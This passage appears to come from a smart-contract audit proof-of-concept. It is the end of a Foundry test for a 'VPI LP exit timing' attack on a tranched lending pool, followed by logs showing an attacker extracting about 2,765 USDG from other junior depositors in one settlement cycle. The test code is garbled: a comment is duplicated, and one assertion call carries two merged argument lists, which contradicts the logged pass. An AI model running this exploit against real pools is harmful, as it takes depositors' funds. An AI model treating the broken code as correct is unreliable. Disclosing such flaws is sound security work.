        emit log_named_uint("Senior principal final (clean / should match)", clean.seniorPrincipalFinal);
        emit log_named_uint("Senior principal final (attack)", attack.seniorPrincipalFinal);
        emit log_named_uint("Treasury execution fees collected (attack)", attack.treasuryFees);
        emit log_string("---------------------------------------------------------");
        emit log_named_decimal_uint(
            "Attacker profit as % of victim stake", (attackerProfit * 1e6) / VICTIM_JUNIOR_ASSETS, 6
        );
        emit log_named_decimal_uint(
            "Victim loss as % of victim stake", (victimLoss * 1e6) / VICTIM_JUNIOR_ASSETS, 6
        );

        // The attack must be profitable and must transfer junior-tranche value to the attacker.
        assertGt(attackerProfit, 2_000e6, "attacker profit too small");
        assertGt(victimLoss, 4_000e6, "victim loss too small");
        // The senior tranche never loses (losses absorb junior-first); the attack
        // scenario only adds one extra coupon accrual to the senior.
        assertGe(attack.seniorPrincipalFinal, clean.seniorPrincipalFinal, "senior must not lose");
        // Exact conservation of the extraction: the remaining juniors' loss equals the
        // attacker's profit plus the open execution fee routed to the treasury plus the
        // one extra senior coupon accrual.
        // one extra senior coupon accrual (net of ~$0.002 of carry the attacker paid
        // into the pool while the position was open).
        uint256 treasuryDelta = attack.treasuryFees - clean.treasuryFees;
        uint256 seniorDelta = attack.seniorPrincipalFinal - clean.seniorPrincipalFinal;
        uint256 totalGains = attackerProfit + treasuryDelta + seniorDelta;
        assertApproxEqAbs(
            victimLoss - attackerProfit - treasuryDelta - seniorDelta,
            0,
            100e6, // carry and rounding dust
            victimLoss, totalGains, 100e6, // carry and rounding dust
            "victim loss must equal attacker profit + treasury fee + senior coupon"
        );
    }
}

Logs (full run, forge test --mt test_PoC_VpiLpExitTiming -vvv):

Running 1 test for test/VpiLpExitTiming.t.sol:VpiLpExitTimingTest
[PASS] test_PoC_VpiLpExitTiming() (gas: 196966620)
  redeem request epoch id: 472418
  redeem request epoch id: 472418
  VPI charge paid at open (USDG atoms): 7999998400
  Pool assets after open (USDG atoms): 10008001998400
  VPI rebated at close (USDG atoms): 7999998400
  Junior principal at redeeming settlement (attack): 2009980735133
  Junior supply at redeeming settlement (attack): 2007995414809439
  Redemption funded at settlement 3 (USDG): 5998001998400
  Clean-scenario junior principal at settlement 3: 1999996433775
  Attacker final USDG - clean: 6499986301358
  Attacker final USDG - attack: 6502751873316
  ATTACKER PROFIT (USDG): 2765571958
  Victim junior value - clean: 1999995433786
  Victim junior value - attack: 1995611599004
  VICTIM (other juniors) LOSS (USDG): 4383834782
  Senior principal final (clean / should match): 2000019264867
  Senior principal final (attack): 2000037529883
  Treasury execution fees collected (attack): 1600000000
  Attacker profit as % of victim stake: 0.001382
  Victim loss as % of victim stake: 0.002191

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 49.44ms (48.51ms CPU time)

Ran 1 test suite in 52.36ms (49.44ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Reading the log: the attacker ends with 6,502,751.87 USDG vs 6,499,986.30 in the clean baseline (+2,765.57); the other juniors' share value drops from 1,999,995.43 to 1,995,611.60 (-4,383.83 = 0.219% of their stake in one ~3-hour cycle); the charge 7,999.9984 is 0.0008·depth and the settlement funded exactly the free-cash budget 5,998,002; the senior principal only gains the extra 18.26 coupon and never loses.